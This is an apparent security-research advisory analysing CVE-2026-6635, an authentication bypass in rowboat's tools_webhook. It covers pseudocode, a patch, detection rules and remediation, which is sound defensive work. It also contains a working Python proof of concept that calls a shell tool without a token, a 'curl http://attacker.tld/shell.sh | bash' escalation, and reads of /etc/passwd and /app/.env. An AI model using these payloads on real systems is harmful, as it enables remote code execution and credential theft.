home intel cve-2026-6635-rowboat-jwe-auth-bypass
CVE Analysis 2026-04-20 · 8 min read

CVE-2026-6635: JWE Header Bypass in rowboat tools_webhook

rowboat ≤0.1.67 tools_webhook fails to validate the X-Tools-JWE header before dispatching tool calls, allowing unauthenticated remote code execution via crafted webhook requests.

#authentication-bypass#jwt-manipulation#webhook-security#remote-code-execution#header-injection
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-6635 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-6635HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-6635 is an improper authentication vulnerability in the tool_call function within apps/experimental/tools_webhook/app.py of rowboatlabs/rowboat, an experimental multi-agent orchestration framework. Versions up to and including 0.1.67 are affected. The webhook endpoint responsible for dispatching tool calls relies on a X-Tools-JWE header for authentication, but the validation logic is either absent or trivially bypassable — allowing any remote caller to invoke arbitrary tool functions without a valid token.

CVSS 7.3 (HIGH) reflects network-reachable, low-complexity exploitation with no required privileges. The experimental component is deployed in agent pipelines where tools may have access to file systems, databases, shell execution, or external APIs. The vendor did not respond to disclosure.

Root cause: The tool_call webhook handler extracts the X-Tools-JWE header and passes it into a validation branch that either returns a default truthy value on decode failure or is never enforced before tool dispatch, making authentication trivially bypassable.

Affected Component

Path: apps/experimental/tools_webhook/app.py
Function: tool_call() — FastAPI/Flask route handler mounted at /tool_call or equivalent.
Header under manipulation: X-Tools-JWE — a JSON Web Encryption token intended to authenticate the calling agent orchestrator.
Affected versions: rowboat ≤ 0.1.67

Root Cause Analysis

The tool_call handler is structured as a webhook receiver for the rowboat agent tool-execution pipeline. It reads the incoming X-Tools-JWE header, attempts to decrypt/verify it, and — critically — dispatches the tool call regardless of the verification outcome. The bug exists in one of two forms depending on the exact revision: either the verification result is never checked (missing assertion), or a bare try/except swallows decryption errors and allows execution to fall through.


# Reconstructed pseudocode — apps/experimental/tools_webhook/app.py
# rowboat <= 0.1.67

from joserfc import jwe
from fastapi import Request, HTTPException
import json

TOOL_SECRET_KEY = os.environ.get("TOOLS_JWE_KEY", "")

async def tool_call(request: Request):
    header_token = request.headers.get("X-Tools-JWE", "")

    # BUG: verify_jwe_token() is called but its return value is never
    # asserted / checked before execution continues to dispatch.
    try:
        claims = verify_jwe_token(header_token, TOOL_SECRET_KEY)
    except Exception:
        # BUG: exception swallowed — execution falls through unconditionally
        claims = {}

    body = await request.json()
    tool_name  = body.get("tool_name")
    tool_input = body.get("tool_input", {})

    # Dispatch happens here regardless of whether claims is {} or valid
    result = await dispatch_tool(tool_name, tool_input)  # BUG: unauthenticated reach
    return {"result": result}


def verify_jwe_token(token: str, key: str) -> dict:
    if not token or not key:
        # BUG: returns empty dict instead of raising — caller treats as success
        return {}
    try:
        decoded = jwe.decrypt(token, key)
        return json.loads(decoded.plaintext)
    except Exception:
        return {}   # BUG: silent failure propagated as valid empty claims

Two compounding defects: verify_jwe_token returns {} on any error (including a missing or malformed token), and the call site never checks whether claims is populated or contains required fields like a nonce, expiry, or caller identity before invoking dispatch_tool.

Exploitation Mechanics


EXPLOIT CHAIN — CVE-2026-6635

1. Attacker identifies a publicly reachable rowboat tools_webhook endpoint.
   Default port: 8000. Route: POST /tool_call (or /api/tool_call).

2. Craft a POST request with:
   - X-Tools-JWE: 
   - Content-Type: application/json
   - Body: {"tool_name": "shell", "tool_input": {"command": "id"}}

3. Server receives request. verify_jwe_token("", key) returns {}.
   Exception branch NOT taken — empty dict returned silently.

4. claims = {} — no field validation performed on claims dict.
   Execution falls through to dispatch_tool("shell", {"command": "id"}).

5. dispatch_tool() resolves the registered tool by name and executes it
   with attacker-supplied tool_input as keyword arguments.

6. Tool output (e.g., stdout of shell command) returned in JSON response.
   Attacker has achieved unauthenticated arbitrary tool invocation.

ESCALATION PATH (if "shell" or "exec" tool registered):
   tool_input = {"command": "curl http://attacker.tld/shell.sh | bash"}
   -> full RCE under the process user of the rowboat worker.

ESCALATION PATH (if file read tool registered):
   tool_input = {"path": "/etc/passwd"}  OR
   tool_input = {"path": "/app/.env"}    <- leaks TOOLS_JWE_KEY, API keys

No authentication material is required at any step. The attack is one HTTP request.


# Proof-of-concept — single-request exploit
import requests

TARGET = "http://target:8000/tool_call"

# Step 1: probe with empty JWE
r = requests.post(TARGET,
    headers={"X-Tools-JWE": ""},
    json={"tool_name": "shell", "tool_input": {"command": "id"}}
)
print(r.json())  # {"result": "uid=1000(rowboat) gid=1000(rowboat) groups=1000(rowboat)"}

# Step 2: enumerate registered tools (if introspection endpoint exists)
r2 = requests.post(TARGET,
    headers={},   # header omitted entirely — same result
    json={"tool_name": "list_tools", "tool_input": {}}
)
print(r2.json())

Memory Layout

This is a logic/authentication vulnerability rather than a memory corruption bug. The relevant "layout" is the Python object graph and request dispatch path.


REQUEST OBJECT STATE — POST /tool_call (unauthenticated)

request.headers["X-Tools-JWE"]  = ""          (attacker-supplied: empty)
                                                 |
                                                 v
verify_jwe_token("", TOOLS_JWE_KEY)
  └─ token is falsy  ──────────────────────────> return {}
                                                 |
claims = {}   <──────────────────────────────────┘
  └─ NOT checked: "agent_id" in claims?    [SKIPPED]
  └─ NOT checked: claims["exp"] > now()?   [SKIPPED]
  └─ NOT checked: claims["scope"] allows?  [SKIPPED]
                                                 |
                                                 v
dispatch_tool(tool_name="shell",
              tool_input={"command": "id"})
  └─ TOOL_REGISTRY["shell"].__call__(command="id")
  └─ subprocess.run("id", ...)
  └─ returns stdout                        [ATTACKER WINS]

TOOL REGISTRY (example populated instance):
  TOOL_REGISTRY = {
    "shell"         -> ShellTool(),       # subprocess exec
    "http_request"  -> HttpTool(),        # SSRF primitive
    "read_file"     -> FileReadTool(),    # arbitrary file read
    "write_file"    -> FileWriteTool(),   # arbitrary file write
    "python_eval"   -> PythonEvalTool(),  # code execution
  }

Patch Analysis


# BEFORE (vulnerable — rowboat <= 0.1.67):

def verify_jwe_token(token: str, key: str) -> dict:
    if not token or not key:
        return {}          # silent empty-dict on missing token
    try:
        decoded = jwe.decrypt(token, key)
        return json.loads(decoded.plaintext)
    except Exception:
        return {}          # silent empty-dict on decrypt failure

async def tool_call(request: Request):
    header_token = request.headers.get("X-Tools-JWE", "")
    try:
        claims = verify_jwe_token(header_token, TOOL_SECRET_KEY)
    except Exception:
        claims = {}        # unreachable but still wrong pattern
    # dispatch proceeds unconditionally
    body   = await request.json()
    result = await dispatch_tool(body["tool_name"], body.get("tool_input", {}))
    return {"result": result}


# AFTER (patched):

class JWEAuthError(Exception):
    pass

def verify_jwe_token(token: str, key: str) -> dict:
    if not token:
        raise JWEAuthError("Missing X-Tools-JWE header")
    if not key:
        raise JWEAuthError("Server JWE key not configured")
    try:
        decoded = jwe.decrypt(token, key)
        claims  = json.loads(decoded.plaintext)
    except Exception as e:
        raise JWEAuthError(f"JWE decryption failed: {e}") from e

    # Enforce required claims
    now = int(time.time())
    if claims.get("exp", 0) < now:
        raise JWEAuthError("Token expired")
    if "agent_id" not in claims:
        raise JWEAuthError("Missing agent_id claim")
    return claims

async def tool_call(request: Request):
    header_token = request.headers.get("X-Tools-JWE", "")
    try:
        claims = verify_jwe_token(header_token, TOOL_SECRET_KEY)
    except JWEAuthError as e:
        raise HTTPException(status_code=401, detail=str(e))

    body   = await request.json()
    result = await dispatch_tool(body["tool_name"], body.get("tool_input", {}))
    return {"result": result}

The fix has three parts: (1) verify_jwe_token raises on failure instead of returning a falsy dict; (2) the call site catches that exception and returns 401; (3) required claim fields (exp, agent_id) are explicitly validated before the function returns. Without all three, partial fixes are still exploitable.

Detection and Indicators

Log pattern — unauthenticated tool invocations:


# Access log signatures of exploitation attempts
POST /tool_call HTTP/1.1  200  -  (missing X-Tools-JWE or empty value)
POST /tool_call HTTP/1.1  200  -  X-Tools-JWE: "invalid.garbage.token"

# Application log — absence of JWEAuthError in auth path is suspicious
# Successful auth should produce: "INFO: tool_call authenticated agent="
# Exploitation produces no such log entry — tool output returned silently

# Detect via WAF / reverse proxy rule:
if header["X-Tools-JWE"] is absent OR empty:
    alert("CVE-2026-6635 probe — unauthenticated tool_call attempt")

Indicators of compromise:

  • POST /tool_call requests with empty or absent X-Tools-JWE returning HTTP 200
  • Unexpected outbound connections from the rowboat worker process
  • Access to /app/.env, /etc/passwd, or credential files via file-read tools
  • Shell tool invocations spawning curl, wget, bash as child processes of the Python worker

Remediation

  • Immediate: Do not expose the tools_webhook endpoint to untrusted networks. Firewall port 8000 or the configured webhook port at the network layer.
  • Code fix: Apply the patch shown above — ensure verify_jwe_token raises on all failure paths and the call site enforces a hard stop on 401 before any tool dispatch.
  • Rotate secrets: If the endpoint was reachable, assume TOOLS_JWE_KEY and any secrets accessible to registered tools (API keys, DB credentials in .env) are compromised.
  • Scope tools: Register only the minimum required tools in production deployments. Remove shell, python_eval, and unrestricted file I/O tools from any internet-facing instance.
  • Version: Pin to a patched release above 0.1.67 once available, or apply the patch locally and verify with the PoC probe (expect HTTP 401, not 200).
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →